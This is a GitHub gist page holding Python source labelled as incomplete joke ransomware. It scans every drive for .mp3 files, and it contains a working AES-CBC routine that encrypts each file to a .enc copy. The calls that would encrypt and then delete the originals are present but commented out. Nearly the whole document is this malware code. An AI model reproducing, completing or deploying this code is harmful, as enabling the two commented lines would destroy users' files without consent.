Skip to content

Instantly share code, notes, and snippets.

@daggerhashimoto
Created June 19, 2016 18:39
Show Gist options
  • Save daggerhashimoto/b069e68818e63f17c0dbe454a506c196 to your computer and use it in GitHub Desktop.
Save daggerhashimoto/b069e68818e63f17c0dbe454a506c196 to your computer and use it in GitHub Desktop.
Ransomware that replaces all your music with Skrillex (not complete)
import os, random, struct, hashlib, time, win32api
from Crypto.Cipher import AES
extensions = ['.mp3']
def wubwub(key):
for drive in win32api.GetLogicalDriveStrings().split('\000')[:-1]:
for root, dirs, files in os.walk(drive):
for file in files:
if file.endswith(tuple(extensions)):
in_filename = (os.path.join(root, file))
print "[+] - File location = [+]"
print in_filename
print "[!] - Encrypting files."
#encrypt_files(key,in_filename)
# delete original files
print "[!] - Deleting original files."
#os.remove(os.path.join(root, file))
time_rem = random.randint(1, 10)
print "[+] - Time left %s seconds" %time_rem
time.sleep(time_rem)
print
print "[+] - RIP your shitty music."
def encrypt_files(key, in_filename, out_filename=None, chunksize=64*1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16))
encryptor = AES.new(key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += ' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def enc_key():
password = raw_input('[!] - Enter encryption password: ')
key = hashlib.sha256(password).digest()
wubwub(key)
def main():
enc_key()
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment